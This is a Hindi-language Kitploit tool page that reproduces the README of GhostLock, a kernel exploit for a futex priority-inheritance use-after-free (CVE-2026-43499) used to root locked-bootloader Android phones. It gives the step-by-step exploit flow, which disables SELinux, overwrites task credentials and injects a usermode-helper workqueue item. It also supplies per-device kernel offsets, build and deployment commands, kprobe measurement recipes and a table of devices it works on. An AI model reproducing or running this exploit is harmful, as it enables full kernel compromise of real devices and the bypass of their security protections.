Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ghostlock-k419-adapter — 4.19.152-perf+ Android कर्नेल के लिए GhostLock (CVE-2026-43499) अडैप्टर | Kitploit
उपकरण/GitHubGitHub/xiaobailovesstirring/ghostlock-k419-adapter
एंड्रॉइड सुरक्षाविशेषाधिकार वृद्धिशोषण फ्रेमवर्कशोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगमोबाइल सुरक्षापेलोड डेवलपमेंटबाइनरी शोषण

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHubxiaobailovesstirring/ghostlock-k419-adapter

ghostlock-k419-adapter

4.19.152-perf+ Android कर्नेल के लिए GhostLock (CVE-2026-43499) अडैप्टर

रिपॉजिटरी देखें
1 दिन पहलेअभी तक समीक्षित नहीं

GhostLock — OnePlus लॉक्ड बूटलोडर जेलब्रेक

लॉक्ड बूटलोडर वाले OnePlus/OPPO/realme डिवाइसों के लिए कर्नेल एक्सप्लॉइट। बूटलोडर अनलॉक किए बिना या बूट इमेज को संशोधित किए बिना रूट + KernelSU इंस्टॉलेशन प्राप्त करता है। मल्टी-डिवाइस ऑफसेट टेबल के साथ कर्नेल संस्करण का रनटाइम पर स्वतः पता लगाना।

OnePlus Ace 6T पर KernelSU (LKM, Jailbreak मोड) के साथ चल रहा GhostLock

भेद्यता

CVE-2026-43499 — Futex PI (प्रायोरिटी इनहेरिटेंस) यूज़-आफ्टर-फ्री

Linux कर्नेल 2.6.39 ~ 7.1 को प्रभावित करता है। मेनलाइन 7.1 में ठीक किया गया (कमिट 3bfdc63936dd)। Android GKI 6.12.x असुरक्षित बना हुआ है।

pselect6 सिस्कॉल fd_set डेटा को कर्नेल स्टैक पर कॉपी करता है। जब इसे futex PI वेटर तंत्र के साथ जोड़ा जाता है, तो एक मुक्त स्टैक फ्रेम को rt_mutex_waiter संरचना के रूप में पुनः प्राप्त किया जा सकता है। PI चेन वॉक के दौरान rb-tree रीबैलेंस फिर नियंत्रित मानों को मनमाने कर्नेल पतों पर लिखता है।

समर्थित डिवाइस

सत्यापित

निकाले गए ऑफसेट (डिवाइस परीक्षण लंबित)

डिवाइसSoCकर्नेलनोट्स
OnePlus 15T (PLZ110)SM88456.12.38-...-ab14552068Ace 6T के समान कर्नेल। QEMU सत्यापित SP diff=-64।

संभव नहीं (स्टैक लेआउट असंगत)

pselect स्टैक ओवरले तभी काम करता है जब मुक्त rt_mutex_waiter stack_fds बफर के उपयोगकर्ता-नियंत्रित क्षेत्र के भीतर आता है। वेटर कहाँ आता है यह कंपाइलर आउटपुट (PGO + LTO) द्वारा निर्धारित होता है, कर्नेल संस्करण द्वारा नहीं। विवरण के लिए स्टैक लेआउट देखें।

एक्सप्लॉइट फ्लो

डिवाइस क्षमताओं के आधार पर स्वचालित रूप से चुने गए दो रूट पथ:

पथ A: UMH रूट (पसंदीदा, C ashmem डिवाइस)

off_ashmem_misc_fops != 0 की आवश्यकता है (BSS में स्टैटिक miscdevice के साथ C ashmem)।

root@kitploit:~
PI write (mode=4)  →  redirect miscdevice fops to fake fops (via W0 pi_tree)
                      configfs r/w established
                   →  pipe physrw (1-byte precise kernel r/w)
                   →  SELinux enforcing = 0 (single byte, no policycap corruption)
                   →  UMH: inject work_struct into system_unbound_wq
                      kernel executes /data/local/tmp/a/e --umh as UID 0
                   →  root script → ksud late-load → KSU installed

पथ B से लाभ:

  • 1-बाइट SELinux राइट — selinux_state.policycap को दूषित नहीं करता (OnePlus 13 पर नेटवर्क समस्याएँ ठीक करता है)
  • कोई perf_event_open नहीं — seccomp प्रतिबंधों के अंतर्गत काम करता है
  • कोई क्रेडेंशियल पैचिंग नहीं — लाइव task_struct को संशोधित करने से बचता है

वर्तमान में उपलब्ध: OnePlus 13 (कर्नेल 6.6, C ashmem)। Rust ashmem डिवाइसों (6.12 GKI) पर उपलब्ध नहीं — miscdevice हीप-आवंटित है, पता कंपाइल समय पर अनुमानित नहीं किया जा सकता।

पथ B: डायरेक्ट PI राइट (फ़ॉलबैक, सभी डिवाइस)

जब UMH ऑफसेट या C ashmem misc_fops उपलब्ध नहीं होते तब उपयोग किया जाता है।

root@kitploit:~
Write 1 (mode=1)  →  SELinux enforcing = 0
                      (low byte of kernel ptr = 0x00, 8-byte write)

Write 2 (mode=2)  →  task->cred = init_cred
                      (uid=0, all capabilities)

Root shell         →  ksud late-load (KernelSU LKM)
                   →  su -c load_policy (fix SELinux policycap)
                   →  dynamic manager registration

बूटस्ट्रैप मोड (फोन स्टैंडअलोन)

root@kitploit:~
App (seccomp)  →  Write 1 (no perf needed)
               →  mini-adb connect TCP (port from /data/local/tmp/a/adb_port, default 5555)
               →  adb shell: full exploit (perf works, no seccomp)
               →  root → KSU → network fix

ऑटो-बूट (ReSukiSU इंटीग्रेशन के माध्यम से)

root@kitploit:~
BOOT_COMPLETED → BootCompletedReceiver
  ├─ su available → skip (soft reboot / already rooted)
  └─ no root → GhostlockService → setsid exploit --bootstrap

स्टैक लेआउट व्यवहार्यता

NFDS=320 के साथ, कर्नेल का core_sys_select 256-बाइट stack_fds बफर आवंटित करता है:

root@kitploit:~
stack_fds:  0    5    10   14 | 15   20   25   29
            ├─in─┤─out─┤─ex──┤ ├res_in┤res_out┤res_ex┤
            ◄── USER CONTROLLED ──►│◄── KERNEL ZEROED ──►

एक्सप्लॉइट नकली वेटर फ़ील्ड (task, lock) को fd_set इनपुट बिटमैप्स में लिखता है। इसके काम करने के लिए, वेटर के task और lock फ़ील्ड नियंत्रणीय क्षेत्र (वर्ड 0-14) में आने चाहिए।

root@kitploit:~
Ace 6T ✅ (waiter at word 2):
  ░░████████████████░░│░░░░░░░░░░░░░░░░░░
    ▲waiter      t  l │
    task/lock controllable

RMX5070 ❌ (waiter at word 13):
  ░░░░░░░░░░░░░████│██████████████░░░░░░
                 ▲  │    t     l
               waiter  task/lock ZEROED

व्यवहार्यता नियम: वेटर वर्ड + 11 (rt_waiter_node में लॉक ऑफसेट) ≤ 14 होना चाहिए। अधिकतम व्यवहार्य वेटर वर्ड 3 है।

वेटर की स्थिति कंपाइलर के स्टैक फ्रेम लेआउट (PGO + LTO + BOLT ऑप्टिमाइज़ेशन प्रोफाइल) द्वारा निर्धारित होती है, जो प्रति SoC ब्रांच अलग-अलग होती है। समान कर्नेल संस्करण के अलग-अलग SoC पर अलग-अलग लेआउट हो सकते हैं।

kernel_phys_load

सभी कर्नेल राइट इमेज के लीनियर-मैप एलियास से होकर जाते हैं:

root@kitploit:~
data_addr(x) = PAGE_OFFSET + (kernel_phys_load - PHYS_OFFSET) + (x - KIMAGE_TEXT_BASE)

बूटलोडर kernel_phys_load चुनता है, इसलिए यह प्रति SoC अलग-अलग होता है और boot.img या DT में नहीं होता। struct kernel_offsets में प्रति-डिवाइस फ़ील्ड; 0 = target.h डिफ़ॉल्ट का उपयोग करें।

SoCkernel_phys_load
SM8845 (Ace 6T, 15T)0xa8000000
SM8750 (OnePlus 13, OPPO Pad 4 Pro)0xa8000000
SM8850 (OnePlus 15, Xiaomi 17)0xc7800000

गलत मान चुपचाप विफल हो जाता है — राइट फिर भी मैप की गई RAM में पहुंचता है, इसलिए कोई क्रैश नहीं होता और कोई प्रभाव नहीं पड़ता। इसे PSELECT_SHIFT समस्या मत समझिए। इसे उसी मॉडल के रूटेड यूनिट पर पढ़ें (Kernel code _stext पर शुरू होता है; _text 0x10000 नीचे है):

root@kitploit:~
su -c 'grep -i "Kernel code" /proc/iomem'   # c7810000-... -> 0xc7800000

PSELECT_SHIFT

अलग-अलग कर्नेल वेटर को नियंत्रणीय क्षेत्र के भीतर अलग-अलग स्थितियों पर रखते हैं। समायोजन के लिए PSELECT_SHIFT का उपयोग करें:

root@kitploit:~
# Default (Ace 6T + OnePlus 15, 6.12): shift=0
/data/local/tmp/a/e

# OnePlus 13 (6.6): shift=-2
PSELECT_SHIFT=-2 /data/local/tmp/a/e

# Override kernel_phys_load for new SoCs (when /proc/iomem is not accessible):
KPHYS=0xc7800000 /data/local/tmp/a/e

check_feasibility.py का वेटर वर्ड अविश्वसनीय है: इसका फ्रेम अंकगणित सही है, लेकिन यह ज़ीरो-स्टोर से जो स्ट्रक्चर ऑफसेट निकालता है वे सही नहीं हैं (OnePlus 15 पर यह वर्ड 3 देता है; मापा गया वर्ड 2 है)। गलत शिफ्ट हर अनुमान पर कर्नेल पैनिक की कीमत चुकाती है, इसलिए इसके बजाय इसे रूटेड यूनिट पर मापें:

root@kitploit:~
echo 'p:ds do_select fdsin=+0(%x1)' >> /sys/kernel/tracing/kprobe_events
echo 'p:rw rt_mutex_wait_proxy_lock waiter=%x2' >> /sys/kernel/tracing/kprobe_events
# trigger FUTEX_CMP_REQUEUE_PI, then:
#   PSELECT_SHIFT = ((waiter & 0x3fff) - (fdsin & 0x3fff)) / 8 - 2

बिल्ड

root@kitploit:~
NDK=/path/to/android-ndk
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  -O2 -Wall -Isrc/core -Isrc/devices -DTARGET_CONFIG_H="target.h" \
  src/core/main.c src/core/util.c src/core/slide.c \
  src/core/fops.c src/core/pipe_physrw.c src/core/root.c \
  src/core/miniadb.c src/core/umh_root.c \
  -o ghostlock -fPIE -pie -pthread

पूर्वापेक्षाएँ

ksud (KSU इंस्टॉलेशन के लिए आवश्यक)

GhostLock केवल रूट प्रदान करता है। KernelSU इंस्टॉलेशन ksud पर निर्भर करता है — एक बाइनरी जिसमें प्रत्येक KMI संस्करण के लिए एम्बेडेड kernelsu.ko मॉड्यूल होते हैं। रूट स्क्रिप्ट डिवाइस पर ksud ढूंढती है और ksud late-load --kmi android16-6.12 कॉल करती है।

विधिचरण

ksud के बिना, एक्सप्लॉइट रूट (uid=0) प्राप्त करता है लेकिन KSU इंस्टॉल नहीं होगा और su स्थायी नहीं रहेगा।

सेटअप (एक बार)

root@kitploit:~
# Enable ADB TCP (use any port)
adb tcpip 5555

# Push exploit binary and ADB key
adb push ghostlock /data/local/tmp/a/e && adb shell chmod 755 /data/local/tmp/a/e
adb push ~/.android/adbkey /data/local/tmp/a/adbkey

# If using a non-default ADB port (e.g. 23946):
adb shell "echo 23946 > /data/local/tmp/a/adb_port"

पहली सफल जेलब्रेक के बाद, persist.adb.tcp.port को resetprop के माध्यम से सेट किया जाता है — बाद के बूट पूरी तरह स्वचालित होते हैं।

उपयोग

root@kitploit:~
/data/local/tmp/a/e                        # Full exploit (adb shell)
/data/local/tmp/a/e --bootstrap            # Phone standalone (app context)
/data/local/tmp/a/e --write1               # SELinux disable only
PSELECT_SHIFT=-2 /data/local/tmp/a/e       # Override stack layout shift

महत्वपूर्ण: बेहतरीन KernelSnitch टाइमिंग विश्वसनीयता के लिए बूट के 30 सेकंड के भीतर चलाएं।

नए डिवाइस / कर्नेल संस्करण जोड़ना

केवल boot.img की आवश्यकता है — रूट की आवश्यकता नहीं, डिवाइस एक्सेस की आवश्यकता नहीं।

boot.img से ऑफसेट निकालना

root@kitploit:~
# 1. Extract kernel
python -c "import struct; d=open('boot.img','rb').read(); open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"

# 2. Global symbols (kallsyms)
python tools/extract_target.py    # 28 offsets, auto-validated

# 3. Struct fields (BTF)
python tools/extract_btf.py kernel  # 57 offsets, auto-validated

# 4. Add to offsets.h, rebuild

कवरेज: boot.img से 103/103 ऑफसेट

गैर-OnePlus डिवाइसों के लिए अनुकूलन

कोर एक्सप्लॉइट डिवाइस-अज्ञेय है। अनुकूलन के लिए आवश्यक हो सकता है:

  • अलग VA_BITS (48 बनाम 39) → target.h मेमोरी लेआउट अपडेट करें
  • अलग kernel_phys_load → /proc/iomem से पढ़ें या KPHYS= एनवी वैरिएबल का उपयोग करें
  • अलग टाइमिंग पैरामीटर → common.h ट्यून करें
  • अलग ashmem इम्प्लीमेंटेशन (C बनाम Rust) → C ashmem UMH पथ सक्षम करता है; Rust ashmem W1+W2 पर फ़ॉलबैक करता है
  • अलग PSELECT_SHIFT → QEMU kprobe परीक्षण के माध्यम से निर्धारित करें
  • अलग स्ट्रक्चर ऑफसेट (6.6 बनाम 6.12) → डिवाइस एंट्री में STRUCT_OFFSETS_6_6 या STRUCT_OFFSETS_6_12 का उपयोग करें

UMH रूट आवश्यकताएँ

UMH (call_usermodehelper) रूट पथ के लिए आवश्यक है:

  • kallsyms से off_system_unbound_wq और off_call_usermodehelper_exec_work
  • off_ashmem_misc_fops = ashmem_misc + 0x10 (केवल C ashmem, BSS में miscdevice.fops)
  • Rust ashmem (GKI 6.12) miscdevice को हीप पर आवंटित करता है → पता अनुमानित नहीं → UMH अनुपलब्ध

फ़ाइलें

लाइसेंस

केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए।

टूल डाउनलोड करें
डिवाइसSoCकर्नेलस्थिति
OnePlus Ace 6T (PLR110)SM88456.12.38-...-ab14275539काम कर रहा है
OnePlus Ace 6T (PLR110)SM88456.12.38-...-ab14552068काम कर रहा है
OnePlus 15 (CPH2749)SM88506.12.23-...-ab14541642काम कर रहा है
Xiaomi 17 (pudding)SM88506.12.23-...-abogki463945075काम कर रहा है
Xiaomi 17 (pudding)SM88506.12.69-...-abogki514973465काम कर रहा है (अगस्त 2026 अपडेट)
OnePlus 13 (IN2060)SM87506.6.89-...-abogki446052083काम कर रहा है (PSELECT_SHIFT=-2)
OPPO Pad 4 ProSM87506.6.89-...-ab14358676काम कर रहा है (PSELECT_SHIFT=-2)
डिवाइसSoCकर्नेलकारण
OPPO Find X9 UltraSM87506.12.58-android16-6PGO do_futex फ्रेम को हटा देता है → SP diff=+32, वेटर वर्ड=14। कोई सुरक्षित शिफ्ट मौजूद नहीं है।
OPPO Find X7—6.1.1576.1 GKI: वेटर वर्ड 13 पर (सभी 6.1 OPLUS/GKI डिवाइस)
realme RMX5070SM66506.1.1416.1 GKI: वेटर वर्ड 13 पर
realme RMX3852SM86356.1.141RMX5070 के समान 6.1 ब्रांच
OnePlus 13R / Ace 5SM86506.1.xसमान 6.1 ब्रांच
OnePlus 12SM86506.1.1416.1 GKI: do_futex PGO इनलाइन, वेटर वर्ड=13/19
OPPO Pad 5 (OPD2502)MT68786.1.134समान 6.1 ब्रांच
OPPO PKW110—5.15.180do_futex फ्रेम 0x140 (सामान्य से 4.5x) → वेटर वर्ड=-29, पहुंच योग्य नहीं
Motorola Edge 60 FusionMT68786.1.1456.1 GKI: वेटर वर्ड 13 पर (गैर-OPLUS, समान परिणाम)
iQOO Z9 5G—5.15.178do_futex फ्रेम बहुत बड़ा, वेटर पहुंच योग्य नहीं। OPLUS डिवाइस नहीं है (vivo)।
ReSukiSU APK (अनुशंसित)ReSukiSU या इस फोर्क को इंस्टॉल करें। आधिकारिक रिलीज़ libksud.so बंडल करती है।
CI रिलीज़ReSukiSU CI से ksud-aarch64-linux-android.zip डाउनलोड करें
स्रोतगिनतीविधि
kallsyms (वैश्विक प्रतीक)28extract_target.py
BTF (स्ट्रक्चर फ़ील्ड्स)57extract_btf.py
व्युत्पन्न (समान स्ट्रक्चर, अलग उपयोग)9स्वचालित
स्थिरांक (निश्चित मान)12कोई निष्कर्षण आवश्यक नहीं
फ़ाइलविवरण
src/core/main.cएक्सप्लॉइट एंट्री, Write 1/2, UMH पथ, बूटस्ट्रैप, रूट स्क्रिप्ट
src/core/fops.cpselect रूट, PI राइट तंत्र, CFI स्टेज
src/core/util.cहीप स्प्रे, kernelsnitch, स्लैब ड्रेन, पेलोड सेटअप
src/core/pipe_physrw.cपाइप बफर-आधारित फिजिकल मेमोरी r/w (configfs r/w को अपग्रेड करता है)
src/core/umh_root.cवर्कक्यू इंजेक्शन + --umh हैंडलर के माध्यम से UMH रूट
src/core/miniadb.cमिनी ADB क्लाइंट (TCP + RSA प्रमाणीकरण)
src/core/common.hटाइमिंग पैरामीटर, मैक्रोज़
src/core/target.hमेमोरी लेआउट, स्ट्रक्चर फ़ील्ड डिफ़ॉल्ट (6.12)
src/core/runtime_struct_offsets.hप्रति-डिवाइस स्ट्रक्चर फ़ील्ड ओवरराइड (6.6 बनाम 6.12)
src/devices/offsets.hसभी डिवाइस ऑफसेट टेबल + STRUCT_OFFSETS_* मैक्रोज़ को एकत्रित करता है
src/devices/<device>/offsets.hप्रति-डिवाइस कर्नेल ऑफसेट एंट्रीज़
src/core/slide.cSLIDE कर्नेल पता लीक
src/core/root.cरूट शेल सेटअप (पाइप physrw के माध्यम से डायरेक्ट क्रेड पैचिंग)
tools/extract_target.pykallsyms से ऑफसेट निष्कर्षण
tools/extract_btf.pyBTF से स्ट्रक्चर ऑफसेट निष्कर्षण
tools/check_feasibility.pyस्टैक लेआउट व्यवहार्यता जांचकर्ता